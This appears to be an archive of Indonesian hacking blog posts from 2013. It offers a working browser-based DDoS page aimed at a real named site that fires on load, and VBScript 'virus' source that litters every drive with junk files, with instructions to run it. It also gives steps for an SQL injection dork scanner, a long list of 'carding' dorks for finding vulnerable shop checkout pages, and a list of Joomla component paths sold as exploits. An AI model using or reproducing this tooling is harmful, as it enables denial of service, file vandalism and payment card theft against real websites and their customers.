Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Thursday, December 26, 2013

Script DDos online


alat tempur DDos Yang di pasang di blog ..
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>DOWN TO SERVER</title>
<!--


    /\                                                      
   /  \   _ __   ___  _ __  _   _ _ __ ___   ___  _   _ ___
  / /\ \ | '_ \ / _ \| '_ \| | | | '_ ` _ \ / _ \| | | / __|
 / ____ \| | | | (_) | | | | |_| | | | | | | (_) | |_| \__ \
/_/    \_\_| |_|\___/|_| |_|\__, |_| |_| |_|\___/ \__,_|___/
                             __/ |                          
                            |___/      


Owaner : B_Compi ,Indonesia Fighter Cyber, Java Defacer,Jogja Carder,



-->
<style type="text/css">


body {
    margin:5% 15%; background:url('') fixed right 50%; font-family:Courier New, Courier, monospace; color:#808080; background-attachment:fixed; background-repeat:repeat
    }
fieldset {
    border-style: none;
    margin: 10px;
    }
p {
    margin: 0;
    }
input {
    margin: 0;
    background-color: transparent;
    border: none;
    text-align: center;
    font-family:"Courier New", Courier, monospace;
    color: green;
    }
</style>
<script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener("load",
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
  </script>
</head>

<div id="title" align="center"><font size="+3" color="red">[#</font><font size="+3"><font color="purple">
    Anonymous OP ISRAEL </font></font><font size="+3" color="red"> #]</font></div>

<br><br>

<div id="hive" align="center">
<font color="red">[</font><font color="blue">Target</font><font color="red">]</font><br>
<input name="target" id="targetURL" style="width: 100%;  "value="http://http://opulsa.com//"><br><br>

<font color="red">[</font><font color="blue">PETICIONES</font><font color="red">]</font><br>
<input id="rps" style="width: 100%;" value="5000"><br><br>

<fieldset>
<font color="red">[</font><font color="blue">MESSAGE</font><font color="red">]</font><br>
<input id="message" style="width: 100%;" value="dOWN TO SERVER" ><br><br>
</fieldset>
<font color="red">[</font><font color="blue"> STATUS </font><font color="red">]</font><br>

<font color="brown"> PETICIONES </font><p id="requestedCtr"><font color="green">0</p>
 SUCCES <p id="succeededCtr">0</p></font>
<font color="brown"> ERROR </font><p id="failedCtr">0</p><br>
<button id="fireButton" style="background-color:#000000; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255);">
Detener</button><br><br><br>
</div>
<p align="center">

  <script>
        (function () {

            var fireInterval;
            var isFiring = false;
        var currentTime = new Date()
        var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; //

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {

                    if ( (currentTime.getTime()-lastSuccess) > 10000) { // Permite No Enviar mas de 1000 peticiones
                        return;
                    } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; //

                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;

                    succeededCtr++; //
                    succeededCtrNode.innerHTML = succeededCtr;


                    delete requestsHT[rID]; //
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "START";
                } else {
                    isFiring = true;
                    this.innerHTML = "STOP!";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
            function Firecrash() {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Atacar!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
//Cambiar Target y desconectar la funcion Firecrash();
document.getElementById("targetURL").value = "http://http://opulsa.com//";
Firecrash();

        })();
  </script>

</p>
<div id="footer" align="center">
<p><font color="red"># [</font><font color="blue"></font><font color="red"></font><font color="blue"></font><font color="red">THANK YOU ALL ANONYMOUS tubekity]
#</font></p>
</div>
<script>var _wau = _wau || []; _wau.push(["tab", "693u6svzfjac", "39l", "bottom-center"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")
[0].appendChild(s);})();</script>
<script type="text/javascript">var _gaq=[]; _gaq.push(['_setAccount', 'UA-31585029-1']); _gaq.push(['_setDomainName', 'host.sk']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = 'http://www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script></body>
</html>

Cara membuat Virus

Berikut adalah contoh script virus sederhana buatanku sendiri. efeknya tidak berbahaya bagi komputer, hanya saja bikin sebel.. hehe.. ^___^
virus ini hanya menduplikasi file2 dan folder2 yang ada di setiap drive kemudian menamai file2 dan folder2 tersebut dengan ekstensi *.yudhi.
virus ini dibuat dengan bahasa pemrograman visual basic script.

berikut script virus tersebut..
================================================
rem – “shinobi303 virus" – By shinobi303
rem – dibuat : 7 Maret 2011
On Error Resume Next
dim A,B,C
set A=CreateObject(“Scripting.FileSystemObject”)
B=”Hallo! jangan khawatir…aku tidak berbahaya… tp sedikit mengganggu.. – by shinobi303″
B=replace(B,chr(42),chr(68))
B=replace(B,chr(124),chr(46))
C=replace(B,chr(37),chr(76))
n Error Resume Next
dim D,E
set E=A.Drives
for each D in E
if (D.DriveType=2)or(D.DriveType=3) then
indexFolders(D.Path&”\”)
end If
next
sub indexFolders(location)
On Error Resume Next
dim F,file,G,duplicate
set F=A.GetFolder(location)
set G=F.SubFolders
for each file in G
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,duplicate
set folder=A.GetFolder(location)
set directory=folder.Files
for each file in directory
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
next
end sub
================================================

simpan dengan ekstensi *.vbs, Kemudian jalankan..
bisa juga didownload disini => http://www.4shared.com/file/WZ9wtHin/shinobi303.html
selamat mencoba..

Friday, December 20, 2013

[Update Link]SQLi Dork Scanner

Persiapan
Download Python disini :
http://www.python.org/ftp/python/2.7.6/python-2.7.6.msi

Selanjutnya install
kalau gk tau cara nginstallnya lihat disini :

http://febriramadhan182.blogspot.com/2013/02/instalasi-python-dan-cara-pakai.html?m=1

Download Scanner.py
lalu simpan di C:/

=====================
Cara Pemakaian
1.buka CMD(Command Prompt)
2.Masuk ke C: caranya ketik C: lalu enter
3.ketik cd\ lalu enter
4.ketik Scanner.py lalu enter
5.ketik 1 untuk mode default tekan enter
6.ketik dork nya misalnya : .php?p_id= lalu tekan enter
7.ketik berapa thread yang mau dimasukan misalnya: 10 tekan enter
8.ketik berapa pages(halaman) yang ingin ditelusuri misalnya: 100 tekan enter
9.tunggu prosesnya sampe selesai
10.Selanjutnya pilih SQLi Testing
11.Ok Proses mendapatkan vulner

Apabila kurang jelas.
Tanya disini :)

Saturday, December 14, 2013

[Update]Dork Carding


checkout.asp?UserID=
checkout.asp?cartid=
checkout.cfm?UserID=
checkout.cfm?cartid=
checkout.php?UserID=
checkout.php?cartid=
checkout1.asp?cartid=
checkout1.cfm?cartid=
checkout1.php?cartid=
checkout_confirmed.asp?order_id=
checkout_confirmed.cfm?order_id=
checkout_confirmed.php?order_id=
db/CART/product_details.asp?product_id=
db/CART/product_details.php?product_id=
eshop.php?id=
estore/products.php?cat=
garden_equipment/Fruit-Cage/product.asp?pr=
garden_equipment/Fruit-Cage/product.php?pr=
garden_equipment/pest-weed-control/product.asp?pr=
garden_equipment/pest-weed-control/product.php?pr=
getbook.asp?bookid=
getbook.cfm?bookid=
getbook.php?bookid=
giftDetail.asp?id=
giftDetail.cfm?id=
giftDetail.php?id=
giftshop/product.php?proid=
global/product/product.asp?gubun=
global/product/product.php?gubun=
goods_detail.asp?data=
goods_detail.php?data=
goods_detail.php?goodsIdx=
inurl:prod_detail.php?id=
inurl:prod_detail.php?id=
inurl:prod_info.php?id=
inurl:prod_info.php?id=
inurl:product-item.php?id=
inurl:product-item.php?id=
inurl:product.php?id=
inurl:product.php?id=
inurl:product_ranges_view.php?ID=
inurl:product_ranges_view.php?id=
inurl:productdetail.php?id=
inurl:productdetail.php?id=
inurl:productinfo.php?id=
inurl:productinfo.php?id=
inurl:produit.php?id=
inurl:produit.php?id=
inurl:shop.php?do=part&id=
inurl:shop.php?do=part&id=
inurl:shop_category.php?id=
inurl:shopping.php?id=
inurl:shopping.php?id=
inurl:view_product.php?id=
inurl:view_product.php?id=
irbeautina/product_detail.asp?product_id=
irbeautina/product_detail.php?product_id=
item.asp?eid=
item.asp?id=
item.asp?iid=
item.asp?item_id=
item.asp?itemid=
item.asp?model=
item.asp?prodtype=
item.asp?shopcd=
item.asp?sub_id=
item.cfm?eid=
item.cfm?item_id=
item.cfm?itemid=
item.cfm?model=
item.cfm?prodtype=
item.cfm?shopcd=
item.php?SKU=
item.php?cat=
item.php?code=
item.php?eid=
item.php?id=
item.php?iid=
item.php?item=
item.php?item_id=
item.php?itemid=
item.php?model=
item.php?prodtype=
item.php?shopcd=
item.php?sub_id=
item/detail.php?num=
item/wpa-storefront-the-ultimate-wpecommerce-theme/discussion/61891?page=
itemDesc.asp?CartId=
itemDesc.cfm?CartId=
itemDesc.php?CartId=
item_book.asp?CAT=
item_book.php?CAT=
item_details.asp?catid=
item_details.cfm?catid=
item_details.php?catid=
item_id=
item_list.asp?cat_id=
item_list.asp?maingroup
item_list.cfm?maingroup
item_list.php?cat_id=
item_list.php?maingroup
item_show.asp?code_no=
item_show.asp?id=
item_show.asp?lid=
item_show.cfm?code_no=
item_show.php?code_no=
item_show.php?id=
item_show.php?itemID=
item_show.php?lid=
itemdetail.asp?item=
itemdetail.cfm?item=
itemdetail.php?item=
itemdetails.asp?catalogid=
itemdetails.cfm?catalogid=
itemdetails.php?catalogid=
itemlist.php?categoryID=
kr/product/product.php?gubun=
kshop/home.php?cat=
kshop/product.asp?productid=
kshop/product.php?productid=
order-now.php?prodid=
order.asp?BookID=
order.asp?id=
order.asp?item_ID=
order.asp?lotid=
order.cfm?BookID=
order.cfm?id=
order.cfm?item_ID=
order.php?BookID=
order.php?id=
order.php?item_ID=
order.php?l= order.php?l=
order.php?lang= order.php?lang=
order.php?list= order.php?list=
order.php?ln= order.php?ln=
order.php?p= order.php?p=
order.php?pag= order.php?pag=
order.php?page= order.php?page=
order.php?pg= order.php?pg=
order.php?wp= .php?wp=
order.php?wp= order.php?wp=
order/cart/index.php?maincat_id=
prod.asp?cat=
prod.php?cat=
prod.php?prod= .php?prod="
prodView.asp?idProduct=
prodView.cfm?idProduct=
prodView.php?idProduct=
prod_detail.php?id=
prod_details.php?id=
prod_details.php?products_id=
prod_indiv.php?groupid=
prod_info.php?id=
prod_show.asp?id=
prod_show.asp?prodid=
prodbycat.asp?intCatalogID=
prodbycat.cfm?intCatalogID=
prodbycat.php?intCatalogID=
proddetail.php?prod=
proddetail.php?prod= .php?prod="
proddetails_print.php?prodid=
prodetails.asp?prodid=
prodetails.cfm?prodid=
prodetails.php?prodid=
prodlist.asp?catid=
prodlist.cfm?catid=
prodlist.php?catid=
prodotti.asp?id_cat=
prodotti.php?id_cat=
prodrev.php?cat=
product-detail.php?prodid=
product-details.php?prodID=
product-info.php?cat=
product-item.php?id=
product-list.asp?category_id=
product-list.asp?cid=
product-list.asp?id=
product-list.php?category_id=
product-list.php?cid=
product-list.php?id=
product-range.asp?rangeID=
product-range.php?rangeID=
product.asp?****=
product.asp?ItemID=
product.asp?bid=
product.asp?bookID=
product.asp?cat=
product.asp?id=
product.asp?id_h=
product.asp?intProdID=
product.asp?intProductID=
product.asp?pid=
product.asp?prd=
product.asp?prodid=
product.asp?product=
product.asp?product_id=
product.asp?productid=
product.asp?shopprodid=
product.asp?sku=
product.cfm?bookID=
product.cfm?intProdID=
product.php?****=
product.php?ItemId=
product.php?bid=
product.php?bookID=
product.php?brand=
product.php?c=
product.php?cat=
product.php?cat_id=
product.php?fdProductId=
product.php?id=
product.php?id_h=
product.php?inid=
product.php?intProdID=
product.php?intProductID=
product.php?lang=
product.php?par=
product.php?pcid=
product.php?pid=
product.php?pl=
product.php?prd=
product.php?prod_num=
product.php?prodid=
product.php?product=
product.php?product_id=
product.php?product_no=
product.php?productid=
product.php?products_id=
product.php?proid=
product.php?rangeid=
product.php?shopprodid=
product.php?sku=
product.search.php?proid=
product/detail.asp?id=
product/detail.php?id=
product/list.asp?pid=
product/list.php?pid=
product/product.asp?cate=
product/product.asp?product_no=
product/product.php?cate=
product/product.php?product_no=
product2.php?id=
product3.php?id=
productDetail.php?prodId=
productDetails.asp?idProduct=
productDetails.cfm?idProduct=
productDetails.php?idProduct=
productDisplay.asp
productDisplay.cfm
productDisplay.php
productList.asp?cat=
productList.php?cat=
productList.php?id=
product_customed.php?pid=
product_detail.asp?product_id=
product_detail.cfm?id=
product_detail.php?id=
product_detail.php?prodid=
product_detail.php?product_id=
product_details.asp?id=
product_details.asp?prodid=
product_details.asp?product_id=
product_details.php?id=
product_details.php?prodID=
product_details.php?product_id=
product_guide/company_detail.php?id=
product_info.asp?id=
product_info.asp?item_id=
product_info.asp?products_id=
product_info.cfm?item_id=
product_info.php?id=
product_info.php?item_id=
product_info.php?products_id=
product_page.php?id=
product_ranges_view.asp?ID=
product_ranges_view.php?ID=
product_reviews.php?feature_id=
productdetail.php?id=
productdetails.php?prodId=
productinfo.asp?item=
productinfo.cfm?item=
productinfo.php?id=
productinfo.php?item=
productlist.asp?ViewType=Category&CategoryID=
productlist.asp?fid=
productlist.asp?grpid=
productlist.asp?id=
productlist.asp?tid=
productlist.cfm?ViewType=Category&CategoryID=
productlist.php?ViewType=Category&CategoryID=
productlist.php?fid=
productlist.php?grpid=
productlist.php?tid=
productpage.asp
productpage.cfm
productpage.php
productpage.php?ID=
products-display-details.asp?prodid=
products-display-details.php?prodid=
products.asp?DepartmentID=
products.asp?ID=
products.asp?act=
products.asp?cat=
products.asp?cat_id=
products.asp?categoryID=
products.asp?catid=
products.asp?groupid=
products.asp?keyword=
products.asp?openparent=
products.asp?p=
products.asp?rub=
products.asp?type=
products.cfm?ID=
products.cfm?keyword=
products.html?file=
products.php?DepartmentID=
products.php?act=
products.php?area_id=
products.php?cat=
products.php?catId=
products.php?cat_id=
products.php?categoryID=
products.php?cid=
products.php?groupid=
products.php?id=
products.php?keyword=
products.php?mainID=
products.php?openparent=
products.php?p=
products.php?page=
products.php?parent=
products.php?prod= .php?prod="
products.php?req=
products.php?rub=
products.php?session=
products.php?sku=
products.php?sub=
products.php?subgroupid=
products.php?type=
products/?catID=
products/Blitzball.htm?id=
products/card.asp?prodID=
products/card.php?prodID=
products/category.php?id=
products/display_product.php?product_id=
products/index.asp?rangeid=
products/index.php?cat=
products/index.php?rangeid=
products/item_show.php?itemId=
products/model.php?id=
products/parts/detail.asp?id=
products/parts/detail.php?id=
products/product-list.asp?id=
products/product-list.php?id=
products/product.asp?id=
products/product.asp?pid=
products/product.php?article=
products/product.php?id=
products/product.php?pid=
products/productdetails.php?prodID=
products/products.asp?p=
products/products.php?cat=
products/products.php?p=
products/testimony.php?id=
products/treedirectory.asp?id=
productsByCategory.asp?intCatalogID=
productsByCategory.cfm?intCatalogID=
productsByCategory.php?intCatalogID=
products_category.asp?CategoryID=
products_category.cfm?CategoryID=
products_category.php?CategoryID=
products_connections_detail.php?cat_id=
products_detail.asp?CategoryID=
products_detail.cfm?CategoryID=
products_detail.php?CategoryID=
products_detail.php?id=
productsview.asp?proid=
productsview.php?proid=
productview.php?id=
produit.php?id=
produit.php?prod= .php?prod="
produkt.php?prod= .php?prod="
shop.asp?a=
shop.asp?action=
shop.asp?bookid=
shop.asp?cartID=
shop.asp?id=
shop.cfm?a=
shop.cfm?action=
shop.cfm?bookid=
shop.cfm?cartID=
shop.php?a=
shop.php?action=
shop.php?bookid=
shop.php?cartID=
shop.php?do=part&id=
shop.php?id_cat=
shop.php?prod= .php?prod="
shop.pl/page=
shop.pl/page= shop.pl/page=
shop/books_detail.asp?bookID=
shop/books_detail.php?bookID=
shop/category.asp?cat_id=
shop/category.php?cat_id=
shop/eventshop/product_detail.asp?itemid=
shop/eventshop/product_detail.php?itemid=
shop/home.php?cat=
shop/index.asp?cPath=
shop/index.php?cPath=
shop/index.php?cat_id=
shop/pages.php?page=
shop/product.php?id=
shop/product_details.php?ProdID=
shop/products.php?cat=
shop/products.php?cat_id=
shop/products.php?p=
shop/shop.php?id=
shop_category.php?id=
shop_details.asp?prodid=
shop_details.cfm?prodid=
shop_details.php?prodid=
shop_display_products.asp?cat_id=
shop_display_products.php?cat_id=
shopaddtocart.asp
shopaddtocart.asp?catalogid=
shopaddtocart.cfm
shopaddtocart.cfm?catalogid=
shopaddtocart.php
shopaddtocart.php?catalogid=
shopbasket.asp?bookid=
shopbasket.cfm?bookid=
shopbasket.php?bookid=
shopbycategory.asp?catid=
shopbycategory.cfm?catid=
shopbycategory.php?catid=
shopcafe-shop-product.asp?bookId=
shopcafe-shop-product.php?bookId=
shopcart.asp?title=
shopcart.cfm?title=
shopcart.php?title=
shopcreatorder.asp
shopcreatorder.cfm
shopcreatorder.php
shopcurrency.asp?cid=
shopcurrency.cfm?cid=
shopcurrency.php?cid=
shopdc.asp?bookid=
shopdc.cfm?bookid=
shopdc.php?bookid=
shopdisplaycategories.asp
shopdisplaycategories.cfm
shopdisplaycategories.php
shopdisplayproduct.asp?catalogid=
shopdisplayproduct.cfm?catalogid=
shopdisplayproduct.php?catalogid=
shopdisplayproducts.asp
shopdisplayproducts.cfm
shopdisplayproducts.php
shopexd.asp
shopexd.asp?catalogid=
shopexd.cfm
shopexd.cfm?catalogid=
shopexd.php
shopexd.php?catalogid=
shopping.php?id=
shopping/index.php?id=
shopping_article.php?id=
shopping_basket.asp?cartID=
shopping_basket.cfm?cartID=
shopping_basket.php?cartID=
shopprojectlogin.asp
shopprojectlogin.cfm
shopprojectlogin.php
shopquery.asp?catalogid=
shopquery.cfm?catalogid=
shopquery.php?catalogid=
shopremoveitem.asp?cartid=
shopremoveitem.cfm?cartid=
shopremoveitem.php?cartid=
shopreviewadd.asp?id=
shopreviewadd.cfm?id=
shopreviewadd.php?id=
shopreviewlist.asp?id=
shopreviewlist.cfm?id=
shopreviewlist.php?id=
shoptellafriend.asp?id=
shoptellafriend.cfm?id=
shoptellafriend.php?id=
shopthanks.asp
shopthanks.cfm
shopthanks.php
shopwelcome.asp?title=
shopwelcome.cfm?title=
shopwelcome.php?title=
shoutbox/expanded.php filetypep:hp
shoutbox/expanded.php?conf=
shoutbox/expanded.php?conf=
show-book.asp?id=
show-book.php?id=
show.asp?id=
show.php?*root*=
show.php?abre=
show.php?adresa=
show.php?b=
show.php?base_dir=
show.php?channel=
show.php?chapter=
show.php?cmd=
show.php?corpo=
show.php?d=
show.php?disp=
show.php?filepath=
show.php?get=
show.php?go=
show.php?header=
show.php?home=
show.php?id=
show.php?inc=
show.php?incl=
show.php?include=
show.php?index=
show.php?ir=
show.php?item=
show.php?j=
show.php?ki=
show.php?l=
show.php?left=
show.php?loader=
show.php?m=
show.php?mid=
show.php?middlePart=
show.php?modo=
show.php?module=
show.php?my=
show.php?n=
show.php?nivel=
show.php?oldal=
show.php?page1= .php?page1="
show.php?page=
show.php?pageweb=
show.php?pagina=
show.php?param=
show.php?path=
show.php?play=
show.php?pname=
show.php?pre=
show.php?product= .php?product=
show.php?product= show.php?product=
show.php?qry=
show.php?r=
show.php?read=
show.php?recipe=
show.php?redirect=
show.php?seccion=
show.php?second=
show.php?sp=
show.php?thispage=
show.php?to=
show.php?type=
show.php?x=
show.php?xlink=
show.php?z=
showPage.php?type=
showStore.asp?catID=
showStore.cfm?catID=
showStore.php?catID=
show_an.php?id=
show_bug.cgi?id=
show_cv.php?id=
show_item.asp?id=
show_item.cfm?id=
show_item.php?id=
show_item_details.asp?item_id=
show_item_details.cfm?item_id=
show_item_details.php?item_id=
show_news.php?cutepath=
show_news.php?id=
show_prod.php?p=
show_upload.php?id=
showbook.asp?bookid=
showbook.cfm?bookid=
showbook.php?bookid=
showfeature.asp?id=
showfeature.php?id=
showimg.php?id=
showmedia.php?id=
showproduct.asp?cat=
showproduct.asp?prodid=
showproduct.asp?productId=
showproduct.php?cat=
showproduct.php?prodid=
showproduct.php?productId=
showproducts.php?cid=
stockists_list.asp?area_id=
stockists_list.php?area_id=
store-detail.php?ID=
store-details.asp?id=
store-details.cfm?id=
store-details.php?id=
store.asp?cat_id=
store.asp?id=
store.cfm?id=
store.php?cat_id=
store.php?id=
store/customer/product.php?productid=
store/default.asp?cPath=
store/default.php?cPath=
store/description.asp?iddesc=
store/description.php?iddesc=
store/detail.php?prodid=
store/home.asp?cat=
store/home.php?cat=
store/index.asp?cat_id=
store/index.php?cat_id=
store/item.php?id=
store/mcart.php?ID=
store/news_story.php?id=
store/product.asp?productid=
store/product.php?productid=
store/products.php?cat_id=
store/showcat.php?cat_id=
store/store.php?cat_id=
store/store_detail.php?id=
store/view_items.asp?id=
store/view_items.php?id=
store_bycat.asp?id=
store_bycat.cfm?id=
store_bycat.php?id=
store_listing.asp?id=
store_listing.cfm?id=
store_listing.php?id=
store_prod_details.php?ProdID=
storefront.asp?id=
storefront.cfm?id=
storefront.php?id=
storefronts.asp?title=
storefronts.cfm?title=
storefronts.php?title=
storeitem.asp?item=
storeitem.cfm?item=
storeitem.php?item=
storemanager/contents/item.asp?page_code=
storemanager/contents/item.php?page_code=
viewCart.asp?userID=
viewCart.cfm?userID=
viewCart.php?userID=
viewcart.asp?CartId=
viewcart.cfm?CartId=
viewcart.php?CartId=
x/product.php?productid=
xcart/home.php?cat=
xcart/product.php?productid=
</div>

Friday, December 6, 2013

Exploit Joomla 2010-2013

/index.php?option=com_myblog&Itemid=12&task= “com_myblog”
/index.php?option=com_juliaportfolio&controller= “com_juliaportfolio”
/index.php?option=com_sbsfile&controller= “com_sbsfile”
/index.php?option=com_rokdownloads&controller= “com_rokdownloads”
/index.php?option=com_sectionex&controller= “com_sectionex”
/index.php?option=com_ganalytics&controller= “com_ganalytics”
/index.php?option=com_janews&controller= “com_janews”
/index.php?option=com_linkr&controller= “com_linkr”
/index.php?option=com_rpx&controller= “com_rpx”
/index.php?option=com_ninjarsssyndicator&controller= “com_ninjarsssyndicator”
/index.php?option=com_gcalendar&controller= “com_gcalendar”
/index.php?option=com_ckforms&controller= “com_ckforms”
/index.php?option=com_jeformcr&view= “com_jeformcr”
/index.php?option=com_jresearch&controller= “com_jresearch”
/index.php?option=com_smestorage&controller= “com_smestorage”
/index.php?option=com_properties&controller= “com_properties”
/index.php?option=com_dwgraphs&controller= “com_dwgraphs”
/index.php?option=com_weberpcustomer&controller= “com_weberpcustomer”
/index.php?option=com_userstatus&controller= “com_userstatus”
/index.php?option=com_econtent&controller= “com_econtent”
/index.php?option=com_jvehicles&controller= “com_jvehicles”
/index.php?option=com_joomlapicasa2&controller= “com_joomlapicasa2″
/index.php?option=com_svmap&controller= “com_svmap”
/index.php?option=com_shoutbox&controller= “com_shoutbox”
/index.php?option=com_loginbox&view= “com_loginbox”
/index.php?option=com_myblog&Itemid=12&task= “com_myblog”
/index.php?option=com_juliaportfolio&controller= “com_juliaportfolio”
/index.php?option=com_sbsfile&controller= “com_sbsfile”
/index.php?option=com_rokdownloads&controller= “com_rokdownloads”
/index.php?option=com_sectionex&controller= “com_sectionex”
/index.php?option=com_ganalytics&controller= “com_ganalytics”
/index.php?option=com_janews&controller= “com_janews”
/index.php?option=com_linkr&controller= “com_linkr”
/index.php?option=com_rpx&controller= “com_rpx”
/index.php?option=com_ninjarsssyndicator&controller= “com_ninjarsssyndicator”
/index.php?option=com_gcalendar&controller= “com_gcalendar”
/index.php?option=com_ckforms&controller= “com_ckforms”
/index.php?option=com_jeformcr&view= “com_jeformcr”
/index.php?option=com_jresearch&controller= “com_jresearch”
/index.php?option=com_smestorage&controller= “com_smestorage”
/index.php?option=com_properties&controller= “com_properties”
/index.php?option=com_dwgraphs&controller= “com_dwgraphs”
/index.php?option=com_weberpcustomer&controller= “com_weberpcustomer”
/index.php?option=com_userstatus&controller= “com_userstatus”
/index.php?option=com_econtent&controller= “com_econtent”
/index.php?option=com_jvehicles&controller= “com_jvehicles”
/index.php?option=com_joomlapicasa2&controller= “com_joomlapicasa2″
/index.php?option=com_svmap&controller= “com_svmap”
/index.php?option=com_shoutbox&controller= “com_shoutbox”
/index.php?option=com_loginbox&view= “com_loginbox”
/index.php?option=com_bca-rss-syndicator&controller= “com_bca-rss-syndicator”
/index.php?option=com_joomlaupdater&controller= “com_joomlaupdater”
/index.php?option=com_redshop&view= “com_redshop”
/index.php?option=com_redtwitter&view= “com_redtwitter”
/index.php?option=com_wisroyq&controller= “com_wisroyq”
/index.php?option=com_jinventory&controller= “com_jinventory”
/index.php?option=com_appointment&controller= “com_appointment”
/index.php?option=com_datafeeds&controller= “com_datafeeds”
/index.php?option=com_fabrik&controller= “com_fabrik”
/index.php?option=com_hsconfig&controller= “com_hsconfig”
/index.php?option=com_joomlaflickr&controller= “com_joomlaflickr”
/index.php?option=com_jukebox&controller= “com_jukebox”
/index.php?option=com_jwhmcs&controller= “com_jwhmcs”
/index.php?option=com_sebercart&view= “com_sebercart”
/index.php?option=com_awiki&controller= “com_awiki”
/index.php?option=com_vjdeo&controller= “com_vjdeo”
/index.php?option=com_awdwall&controller= “com_awdwall”
/index.php?option=com_realtyna&controller= “com_realtyna”
/index.php?option=com_webeecomment&controller= “com_webeecomment”
/index.php?option=com_javoice&view= “com_javoice”
/index.php?option=com_foobla_suggestions&controller= “com_foobla_suggestions”
/index.php?option=com_powermail&controller= “com_powermail”
/index.php?option=com_pcchess&controller= “com_pcchess”
/index.php?option=com_spsnewsletter&controller= “com_spsnewsletter”
/index.php?option=com_alphauserpoints&view= “com_alphauserpoints”
/index.php?option=com_travelbook&controller= “com_travelbook”
/index.php?option=com_tweetla&controller= “com_tweetla”
/index.php?option=com_ticketbook&controller= “com_ticketbook”
/index.php?option=com_jajobboard&view= “com_jajobboard”
/index.php?option=com_jajobboard&controller= “com_jajobboard”
/index.php?option=com_jfeedback&controller= “com_jfeedback”
/index.php?option=com_jprojectmanager&controller= “com_jprojectmanager”
/index.php?option=com_preventive&controller= “com_preventive”
/index.php?option=com_myfiles&controller= “com_myfiles”
/index.php?option=com_onlineexam&controller= “com_onlineexam”
/index.php?option=com_joommail&controller= “com_joommail”
/index.php?option=com_memory&controller= “com_memory”
/index.php?option=com_market&controller= “com_market”
/index.php?option=com_diary&controller= “com_diary”
/index.php?option=com_webtv&controller= “com_webtv”
/index.php?option=com_horoscope&controller= “com_horoscope”
/index.php?option=com_arcadegames&controller= “com_arcadegames”
/index.php?option=com_flashgames&controller= “com_flashgames”
/index.php?option=com_addressbook&controller= “com_addressbook”
/index.php?option=com_flexicontent&controller= “com_flexicontent”
/index.php?option=com_advertising&controller= “com_advertising”
/index.php?option=com_cvmaker&controller= “com_cvmaker”
/index.php?option=com_worldrates&controller= “com_worldrates”
/index.php?option=com_record&controller= “com_record”
/index.php?option=com_sweetykeeper&controller= “com_sweetykeeper”
/index.php?option=com_beeheard&controller= “com_beeheard”
/index.php?option=com_blogfactory&controller= “com_blogfactory”
/index.php?option=com_delicious&controller= “com_delicious”
/index.php?option=com_jacomment&view= “com_jacomment”
/index.php?option=com_lovefactory&controller= “com_lovefactory”
/index.php?option=com_mtfireeagle&controller= “com_mtfireeagle”
/index.php?option=com_photobattle&view= “com_photobattle”
/index.php?option=com_s5clanroster&view= “com_s5clanroster”
/index.php?option=com_s5clanroster&controller= “com_s5clanroster”
/index.php?option=com_wgpicasa&controller= “com_wgpicasa”
/index.php?option=com_zimbcomment&controller= “com_zimbcomment”
/index.php?option=com_zimbcore&controller= “com_zimbcore”
/index.php?option=com_gadgetfactory&controller= “com_gadgetfactory”
/index.php?option=com_matamko&controller= “com_matamko”
/index.php?option=com_archeryscores&controller= “com_archeryscores”
/index.php?option=com_multiroot&controller= “com_multiroot”
/index.php?option=com_multimap&controller= “com_multimap”
/index.php?option=com_drawroot&controller= “com_drawroot”
/index.php?option=com_google&controller= “com_google”
/index.php?option=com_if_surfalert&controller= “com_if_surfalert”
/index.php?option=com_orgchart&controller= “com_orgchart”
/index.php?option=com_mmsblog&controller= “com_mmsblog”
/index.php?option=com_wmi&controller= “com_wmi”
/index.php?option=com_ultimateportfolio&controller= “com_ultimateportfolio”
/index.php?option=com_noticeboard&controller= “com_noticeboard”
/index.php?option=com_smartsite&controller= “com_smartsite”
